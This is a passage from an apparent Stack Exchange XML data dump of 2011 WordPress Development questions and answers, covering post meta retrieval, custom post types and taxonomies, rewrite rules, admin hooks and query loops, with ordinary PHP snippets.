. 'setlist_2',              &#xA;        'type' =&amp;gt; 'text',                                       &#xA;        'std' =&amp;gt; '',                                            &#xA;        'style' =&amp;gt; 'width: 100px',              &#xA;    ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on so forth (i.e. setlist_3,4,5,6,7,8....)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my single.php I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( get_post_meta( $post-&amp;gt;ID, 'rw_setlist_1', true ) ) : echo &quot;&amp;lt;li&amp;gt;&quot;; echo get_post_meta( $post-&amp;gt;ID, 'rw_setlist_1', true ); echo &quot;&amp;lt;/li&amp;gt;&quot;; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ( get_post_meta( $post-&amp;gt;ID, 'rw_setlist_2', true ) ) : echo &quot;&amp;lt;li&amp;gt;&quot;; echo get_post_meta( $post-&amp;gt;ID, 'rw_setlist_2', true ); echo &quot;&amp;lt;/li&amp;gt;&quot;; ?&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA; &amp;lt;?php if ( get_post_meta( $post-&amp;gt;ID, 'rw_setlist_3', true ) ) : echo &quot;&amp;lt;li&amp;gt;&quot;; echo get_post_meta( $post-&amp;gt;ID, 'rw_setlist_3', true ); echo &quot;&amp;lt;/li&amp;gt;&quot;; ?&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA; &amp;lt;?php if ( get_post_meta( $post-&amp;gt;ID, 'rw_setlist_4', true ) ) : echo &quot;&amp;lt;li&amp;gt;&quot;; echo get_post_meta( $post-&amp;gt;ID, 'rw_setlist_4', true ); echo &quot;&amp;lt;/li&amp;gt;&quot;; ?&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA; &amp;lt;?php if ( get_post_meta( $post-&amp;gt;ID, 'rw_setlist_5', true ) ) : echo &quot;&amp;lt;li&amp;gt;&quot;; echo get_post_meta( $post-&amp;gt;ID, 'rw_setlist_5', true ); echo &quot;&amp;lt;/li&amp;gt;&quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The set-list values can range from 2 to 30...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call me crazy, but I feel as if this method causes unnecessary and lengthy load times, am I right? So how would I go about creating a more efficient script for this that would check all the values in the array in a &quot;simpler way&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6423" LastActivityDate="2011-07-09T10:24:03.563" Title="Returning multiple get_post_meta values" Tags="&lt;posts&gt;&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="22474" PostTypeId="2" ParentId="22470" CreationDate="2011-07-09T08:58:58.773" Score="1" ViewCount="" Body="&lt;p&gt;You need to stop listening to people who says PHP and WordPress is not secure. Its how you do it. You can do it in WordPress, without using BuddyPress. In fact you don't even need it for anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to make default users contributors, and a small plugin which takes care of their points when their posts are approved.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-07-09T08:58:58.773" />
  <row Id="22475" PostTypeId="2" ParentId="22472" CreationDate="2011-07-09T09:10:52.500" Score="0" ViewCount="" Body="&lt;p&gt;I believe &lt;code&gt;get_post_meta()&lt;/code&gt; (or more accurately, the &lt;code&gt;get_metadata()&lt;/code&gt; function it calls) retrieves all metadata for a post in one query and then caches it for subsequent calls. As for the verbosity of your code, if they don't need to be explicitly ordered you could just save them all under a single key and grab them as an array.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-09T09:10:52.500" CommentCount="3" />
  <row Id="22476" PostTypeId="2" ParentId="22472" CreationDate="2011-07-09T10:24:03.563" Score="0" ViewCount="" Body="&lt;p&gt;The way your code is setup is just wrong, you are making two database calls for each custom field and if you have between 2-30 fields like this then that means you make over 60 calls to the database which can be done with a single call using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;get_post_custom()&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;&#xA;for ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_fields = get_post_custom($post-&amp;gt;ID);&#xA;for ($i = 1; $i &amp;lt;= 30; $i++) { &#xA;    if(isset($custom_fields[&quot;rw_setlist_$i&quot;])){&#xA;        echo &quot;&amp;lt;li&amp;gt;&quot;; &#xA;        echo $custom_fields[&quot;rw_setlist_$i&quot;];&#xA;    echo &quot;&amp;lt;/li&amp;gt;&quot;; &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-09T10:24:03.563" CommentCount="1" />
  <row Id="22477" PostTypeId="1" CreationDate="2011-07-09T10:40:14.923" Score="0" ViewCount="46" Body="&lt;p&gt;Please excuse me for posting another question on this rather esoteric subject. I've been struggling my way through the interwebs the past few days and I'm currently pretty stuck on subject and I would appreciate some help with my particular situation, which is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a custom post type called &lt;code&gt;product&lt;/code&gt; and I have created a taxonomy for this post type which is called &lt;code&gt;product_category&lt;/code&gt;. What I want to achieve is to access individual products and products that have been assigned a taxonomy term. Let's first look at how I created my &lt;code&gt;product&lt;/code&gt; post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'public' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; &quot;product&quot;,&#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; &quot;product&quot;,&#xA;        'with_front' =&amp;gt; false,&#xA;    ),&#xA;    'supports' =&amp;gt; array(&#xA;        'title',&#xA;        'editor',&#xA;        'thumbnail',&#xA;        'revisions',&#xA;    ),&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; &quot;Products&quot;,&#xA;        'singular_name' =&amp;gt; &quot;Product&quot;,&#xA;        'add_new' =&amp;gt; &quot;Add New Product&quot;,&#xA;        'add_new_item' =&amp;gt; &quot;Add New Product&quot;,&#xA;        'edit_item' =&amp;gt; &quot;Edit Product&quot;,&#xA;        'new_item' =&amp;gt; &quot;New Product&quot;,&#xA;        'view_item' =&amp;gt; &quot;View Product&quot;,&#xA;        'search_items' =&amp;gt; &quot;Search Products&quot;,&#xA;        'not_found' =&amp;gt; &quot;No Products Found&quot;,&#xA;        'not_found_in_trash' =&amp;gt; &quot;No Products Found In Trash&quot;,&#xA;    ),&#xA;);&#xA;&#xA;register_post_type('product', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Straight after registering my post type I register my taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; &quot;Categories&quot;,&#xA;        'singular_name' =&amp;gt; &quot;Category&quot;,&#xA;        'search_items' =&amp;gt; &quot;Search Categories&quot;,&#xA;        'popular_items' =&amp;gt; &quot;Popular Categories&quot;,&#xA;        'all_items' =&amp;gt; &quot;All Categories&quot;,&#xA;        'parent_item' =&amp;gt; &quot;Parent Category&quot;,&#xA;        'parent_item_colon' =&amp;gt; &quot;Parent Category:&quot;,&#xA;        'edit_item' =&amp;gt; &quot;Edit Category&quot;,&#xA;        'update_item' =&amp;gt; &quot;Update Category&quot;,&#xA;        'add_new_item' =&amp;gt; &quot;Add New Category&quot;,&#xA;        'new_item_name' =&amp;gt; &quot;New Category Name&quot;,&#xA;    ),&#xA;    'hierarchical' =&amp;gt; FALSE,&#xA;    'label' =&amp;gt; 'Categories',&#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; 'products',&#xA;        'hierarchical' =&amp;gt; FALSE,&#xA;    ),&#xA;);&#xA;&#xA;register_taxonomy('product_category', 'product', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't need sub-terms. The current idea is that I access my content in the following way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/product/my-product&lt;/code&gt; shows an individual product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/products&lt;/code&gt; shows all the taxonomy terms available in the 'product_category' taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/products/some-term&lt;/code&gt; shows all the products assigned a specific term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently not sure if this is feasible so any feedback would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next, related, issue I'm struggling with is to map these URL's to the correct templates and working with the &lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; diagram isn't working out for me (probably because I didn't get things right to begin with). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help and insight would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6616" LastActivityDate="2011-07-09T10:40:14.923" Title="Custom post types, taxonomies and templates" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;templates&gt;" CommentCount="3" />
  <row Id="22478" PostTypeId="2" ParentId="22253" CreationDate="2011-07-09T10:44:58.353" Score="2" ViewCount="" Body="&lt;p&gt;You only made a mistake in the final step, when you convert the base62-encoded ID back to a decimal ID. You should not do this by changing the rewrite rules, as they are only patterns, not actual rules per post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want is take an incoming URL, let WordPress parse it using the rewrite rules, but then before it is passed to the query engine, check for the &lt;code&gt;post_id62&lt;/code&gt; variable and set the actual &lt;code&gt;p&lt;/code&gt; (post id) variable based on it. You can do this in the &lt;code&gt;request&lt;/code&gt; filter, which &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2/wp-includes/class-wp.php#L299&quot; rel=&quot;nofollow&quot;&gt;is applied in &lt;code&gt;WP::parse_request()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'request', 'wpse22253_request' );&#xA;function wpse22253_request( $query_vars )&#xA;{&#xA;    if ( array_key_exists( 'post_id62', $query_vars ) ) {&#xA;        $query_vars['p'] = base622dec( $query_vars['post_id62'] );&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this will not solve the &lt;code&gt;postname-N&lt;/code&gt; problem. WordPress will still call &lt;code&gt;wp_unique_post_slug&lt;/code&gt; on the &lt;code&gt;post_name&lt;/code&gt; field, and &lt;code&gt;post_name&lt;/code&gt; will not include the &lt;code&gt;post_id62&lt;/code&gt; part (since the database is independent of the rewrite rules). As Mike suggested in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7922/turn-off-postname-auto-incrementing/7949#7949&quot;&gt;the followup comments to his answer&lt;/a&gt;, you should either figure out a way to include the &lt;code&gt;post_id62&lt;/code&gt; part in the &lt;code&gt;post_name&lt;/code&gt; field, or (and this might be the better way) ignore the &lt;code&gt;%postname%&lt;/code&gt; part in the URL and just slap a &lt;em&gt;postname-with-stripped-number-suffix&lt;/em&gt; string at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also run into issues with your shortlinks, since they have the same format (any letter or digit) as a page. Is &lt;code&gt;/banana/&lt;/code&gt; a page with the title &quot;Banana&quot; or a shortlink to the post with ID 34440682410 - which is &lt;code&gt;banana&lt;/code&gt; in your base-62 encoding?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-09T10:44:58.353" CommentCount="1" />
  <row Id="22479" PostTypeId="1" AcceptedAnswerId="22480" CreationDate="2011-07-09T10:48:50.840" Score="0" ViewCount="26" Body="&lt;p&gt;I have a function that kills the media buttons on certain custom post types. I want it to load whenever any post/ page edit page opens. What's the best action to hook this up to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6893" LastActivityDate="2011-07-09T11:01:15.113" Title="Action for opening edit page in admin?" Tags="&lt;wp-admin&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="22480" PostTypeId="2" ParentId="22479" CreationDate="2011-07-09T11:01:15.113" Score="0" ViewCount="" Body="&lt;p&gt;Try the &lt;code&gt;'load-post.php'&lt;/code&gt; action.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-09T11:01:15.113" CommentCount="1" />
  <row Id="22481" PostTypeId="2" ParentId="22438" CreationDate="2011-07-09T11:29:07.003" Score="0" ViewCount="" Body="&lt;p&gt;You will need to enable &lt;em&gt;verbose page rules&lt;/em&gt;, which make sure that all pages are explicitly defined (instead of using a generic rule). But in addition to that, you need to move these page rules above the taxonomy rules. This is &lt;a href=&quot;http://core.trac.wordpress.org/changeset/15825&quot; rel=&quot;nofollow&quot;&gt;a fairly recent change&lt;/a&gt;, I believe it was between 3.0 and 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I explain how to do this in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16902/permalink-rewrite-404-conflict-wordpress-taxonomies-cpt/16929#16929&quot;&gt;this answer to a very related question&lt;/a&gt;. Together, it is this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse16902_init' );&#xA;function wpse16902_init() {&#xA;    $GLOBALS['wp_rewrite']-&amp;gt;use_verbose_page_rules = true;&#xA;}&#xA;&#xA;add_filter( 'page_rewrite_rules', 'wpse16902_collect_page_rewrite_rules' );&#xA;function wpse16902_collect_page_rewrite_rules( $page_rewrite_rules )&#xA;{&#xA;    $GLOBALS['wpse16902_page_rewrite_rules'] = $page_rewrite_rules;&#xA;    return array();&#xA;}&#xA;&#xA;add_filter( 'rewrite_rules_array', 'wspe16902_prepend_page_rewrite_rules' );&#xA;function wspe16902_prepend_page_rewrite_rules( $rewrite_rules )&#xA;{&#xA;    return $GLOBALS['wpse16902_page_rewrite_rules'] + $rewrite_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-09T11:29:07.003" CommentCount="3" />
  <row Id="22482" PostTypeId="1" AcceptedAnswerId="22487" CreationDate="2011-07-09T11:33:48.897" Score="0" ViewCount="36" Body="&lt;p&gt;I have this typical &lt;em&gt;WordPress&lt;/em&gt; page (page.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;rightcol&quot;&amp;gt;&#xA; &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA; &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All works fine; have some shortcode, &lt;em&gt;[gallery]&lt;/em&gt;, in the page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I add a simple loop to the page to display random posts form a given category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('category_name=interesting_sites&amp;amp;posts_per_page=3&amp;amp;orderby=rand'); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA; &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;  &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;?php the_content(); ?&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, shortcode in page content fails! Why this happens? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6791" LastEditorUserId="6791" LastEditorDisplayName="" LastEditDate="2011-07-11T10:45:50.927" LastActivityDate="2011-07-11T10:45:50.927" Title="loop on page makes shortcode fail" Tags="&lt;shortcode&gt;&lt;the-loop&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22483" PostTypeId="2" ParentId="16010" CreationDate="2011-07-09T11:51:21.253" Score="0" ViewCount="" Body="&lt;p&gt;If your theme is using the &lt;code&gt;body_class();&lt;/code&gt; function then you can target pages via CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have parent page with the ID of 2 and the background you wanted to change was the .content div, you would simply use :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;.parent-pageid-2 .content {&#xA;   background: green;&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or something similar to that effect. This would work for as many child pages you have.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-07-09T11:51:21.253" />
  <row Id="22484" PostTypeId="2" ParentId="22460" CreationDate="2011-07-09T11:53:52.877" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy_for_object_type&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;register_taxonomy_for_object_type&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; function and if you say that the taxonomy is created by a plugin you can use the &lt;code&gt;plugins_loaded&lt;/code&gt; hook, to make sure that taxonomy wast already registered so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('plugins_loaded','add_custom_taxonomy_to_posts');&#xA;&#xA;function add_custom_taxonomy_to_posts(){&#xA;    register_taxonomy_for_object_type('TAXONOMY_NAME', 'post');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-09T11:53:52.877" CommentCount="2" />
  <row Id="22485" PostTypeId="2" ParentId="21549" CreationDate="2011-07-09T12:00:33.483" Score="1" ViewCount="" Body="&lt;p&gt;You can change the &lt;code&gt;/search/&lt;/code&gt; part to something else, like &lt;code&gt;/topic/&lt;/code&gt;, but it will be harder to remove it completely, since that will conflict with WordPress Pages (is &lt;code&gt;/banana/&lt;/code&gt; a Page with the title &quot;Banana&quot; or is it the result page for the search term &quot;Banana&quot;?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the part, hook into the &lt;code&gt;init&lt;/code&gt; action and change the &lt;code&gt;$wp_rewrite-&amp;gt;search_base&lt;/code&gt; variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse21549_init' );&#xA;function wpse21549_init()&#xA;{&#xA;    $GLOBALS['wp_rewrite']-&amp;gt;search_base = 'topic';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to place this snippet of code in your theme's &lt;code&gt;function.php&lt;/code&gt; file, or in a new file that you create and that you place in the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory. After you did this, visit the &lt;em&gt;Permalinks&lt;/em&gt; setting page to flush the rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, by default when you submit a search you will end up on a URL like &lt;code&gt;?s=Banana&lt;/code&gt;. There are plugins that change this (Ramukar linked to one, but it has the &lt;code&gt;/search/&lt;/code&gt; part hardcoded and has other issues), and Hudson Atwell linked to a simple approach (even too complicated now: you don't need to add the rewrite rule to Apache, as WordPress already contained them since version 1.5).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-09T12:00:33.483" />
  <row Id="22486" PostTypeId="2" ParentId="22457" CreationDate="2011-07-09T12:03:20.013" Score="0" ViewCount="" Body="&lt;p&gt;You say that the listing is a custom post type so each job listing has a post ID so you can just pass that to your uploadcv.php in your &lt;strong&gt;Apply Now&lt;/strong&gt; Button :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;.../uploadcv.php?listing_id=&amp;lt;?php echo $post-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;Apply Now&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then retrieve that in your uploadcv.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listing_ID = (int)$_GET['listing_id'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now as far as saving the CV in the database, that would be a bad id, when you can simply upload the cv to your server and just save the URL in the database.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-09T12:03:20.013" CommentCount="3" />
  <row Id="22487" PostTypeId="2" ParentId="22482" CreationDate="2011-07-09T12:10:36.370" Score="0" ViewCount="" Body="&lt;p&gt;You really shouldn't use &lt;code&gt;query_posts()&lt;/code&gt; for anything other then the main loop of that page and use either &lt;code&gt;WP_Query()&lt;/code&gt; or &lt;code&gt;get_posts()&lt;/code&gt; , try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$temp = $post;&#xA;$my_query = NEW WP_Query(&#xA;    array(&#xA;        'category_name' =&amp;gt; '=interesting_sites',&#xA;        'posts_per_page' =&amp;gt; 3,&#xA;        'orderby' =&amp;gt; 'rand'&#xA;    )&#xA;);&#xA;while ($my_query-&amp;gt;have_posts()){&#xA;    $my_query-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;wp_reset_query();&#xA;$post = $temp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-09T12:10:36.370" CommentCount="1" />
  <row Id="22488" PostTypeId="1" CreationDate="2011-07-09T12:27:46.950" Score="0" ViewCount="8" Body="&lt;p&gt;basically all I want to do is run a query to get the usernames of users who have voted (thumbs up) a post and display their usernames as links. Any help would be super helpful&lt;/p&gt;&#xA;" OwnerUserId="6895" LastActivityDate="2011-07-09T12:27:46.950" Title="Display list of users who have voted/rated on a post GD Star" Tags="&lt;user&gt;" />
  <row Id="22489" PostTypeId="1" CreationDate="2011-07-09T12:42:45.093" Score="0" ViewCount="18" Body="&lt;p&gt;I'm currently stuck at the following problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the following code to my plugin for adding a utility page to the admin menu&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_utility_page(&quot;Donations&quot;, &quot;Donations&quot;, 1, &quot;donations&quot;, &quot;donation_menu&quot;);&#xA;add_submenu_page(&quot;donations&quot;, &quot;Users&quot;, &quot;Users&quot;, 1, &quot;users&quot;, &quot;users&quot;);&#xA;add_submenu_page(&quot;donations&quot;, &quot;Campaigns&quot;, &quot;Campaigns&quot;, 1, &quot;campaigns&quot;, &quot;campaigns&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run this and expand the Donations menu item, the submenu item Donations is selected. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Donations&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Donations&lt;/li&gt;&#xA;&lt;li&gt;Users&lt;/li&gt;&#xA;&lt;li&gt;Campaigns&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I'd like to achieve is when an admin clicks on the Donations menu item, a submenu item called General is selected. (like when you click the Settings menu item, the General submenu item is opened by default) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Donations&#xA;&lt;ul&gt;&#xA;&lt;li&gt;General&lt;/li&gt;&#xA;&lt;li&gt;Users&lt;/li&gt;&#xA;&lt;li&gt;Campaigns&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5131" LastActivityDate="2011-07-09T12:42:45.093" Title="Activate first child of an utility page" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;custom-menus&gt;&lt;admin-menu&gt;" />
  <row Id="22490" PostTypeId="2" ParentId="21022" CreationDate="2011-07-09T12:43:12.667" Score="4" ViewCount="" Body="&lt;p&gt;You can always override the template that will be called with the &lt;code&gt;template_include&lt;/code&gt; or a related filter, but this might hide deeper problems with custom archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, you want to use the following structure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/glossary/&lt;/code&gt; should be an archive page for all &lt;code&gt;sumo-glossary-term&lt;/code&gt; posts&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/glossary/[letter]/&lt;/code&gt; should be an archive page for posts with the taxonomy term &lt;code&gt;[letter]&lt;/code&gt; in the &lt;code&gt;sumo-glossary-letter&lt;/code&gt; taxonomy&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/glossary/[letter]/[term-name]/&lt;/code&gt; should be an individual &lt;code&gt;sumo-glossary-term&lt;/code&gt; post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This means that the first will load the template &lt;code&gt;archive-sumo-glossary-term.php&lt;/code&gt;, the second will load &lt;code&gt;taxonomy-sumo-glossary-letter.php&lt;/code&gt;, and the third will load &lt;code&gt;single-sumo-glossary-term.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I achieved this in WordPress 3.2 by explicitly setting the taxonomy rewrite slug, and both the rewrite slug and the archive slug for the post type, and no other rewrite rules. Also, I registered the taxonomy first and the post type after it, to make sure the priorities were right (otherwise a URL like &lt;code&gt;/glossary/f/page/2&lt;/code&gt; goes to glossary term &lt;code&gt;page&lt;/code&gt; instead of page 2 of glossary letter &lt;code&gt;f&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'create_glossary');&#xA;function create_glossary()&#xA;{&#xA;&#xA;    register_taxonomy&#xA;    (&#xA;        'sumo-glossary-letter',&#xA;        array(),&#xA;        array&#xA;        (&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'labels' =&amp;gt; array&#xA;            (&#xA;                'name' =&amp;gt; _x('Letters', 'taxonomy general name'),&#xA;                'singular_name' =&amp;gt; _x('Letter', 'taxonomy singular name')&#xA;                # And so one&#xA;            ),&#xA;            'show_ui' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; 'glossary-letter',&#xA;            'rewrite' =&amp;gt; array(&#xA;                'slug' =&amp;gt; 'glossary',&#xA;            ),&#xA;        )&#xA;    );&#xA;&#xA;    register_post_type&#xA;    (&#xA;        'sumo-glossary-term',&#xA;        array&#xA;        (&#xA;            'labels' =&amp;gt; array&#xA;            (&#xA;                'name' =&amp;gt; _x('Glossary Terms', 'post type general name'),&#xA;                'singular_name' =&amp;gt; _x('Glossary Term', 'post type singular name')&#xA;                # And so on …&#xA;            ),&#xA;            'supports' =&amp;gt; array('title', 'editor', 'thumbnail'),&#xA;            'public' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; array&#xA;            (&#xA;                'slug' =&amp;gt; 'glossary/%sumo-glossary-letter%',&#xA;                'with_front' =&amp;gt; false&#xA;&#xA;            ),&#xA;            'query_var' =&amp;gt; 'glossary-term',&#xA;            'has_archive' =&amp;gt; 'glossary',&#xA;            'taxonomies' =&amp;gt; array( 'sumo-glossary-letter' ),&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;add_filter('post_type_link', 'glossary_term_permalink', 10, 4);&#xA;function glossary_term_permalink($post_link, $post, $leavename, $sample)&#xA;{&#xA;    if ( false !== strpos( $post_link, '%sumo-glossary-letter%' ) ) {&#xA;        $glossary_letter = get_the_terms( $post-&amp;gt;ID, 'sumo-glossary-letter' );&#xA;        $post_link = str_replace( '%sumo-glossary-letter%', array_pop( $glossary_letter )-&amp;gt;slug, $post_link );&#xA;    }&#xA;    return $post_link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T12:53:01.533" LastActivityDate="2011-07-09T12:53:01.533" CommentCount="2" />
  <row Id="22491" PostTypeId="2" ParentId="22434" CreationDate="2011-07-09T13:07:35.983" Score="1" ViewCount="" Body="&lt;p&gt;How likely is it that admins decide not to update WordPress, but still update the individual plugins? Won't they just have forgotten the site? Set it up for a client, and then only touch it again when it needs an improvement (or is hacked because vulnerabilities were not patched...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to include too many backwards compatible hacks in your code, but still give the users of older WP versions some support, you could consider developing new features only for users newer versions of WordPress, but still backport security issues. So they can still use the features, and be sure that vulnerabilities that are discovered will be patched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say version 1.5 was the latest where you still tested on WP 3.0, since 1.6 you only test on WP 3.1 and 3.2. If you want new features, you will have to update to plugin version 1.6, and update WordPress (or risk 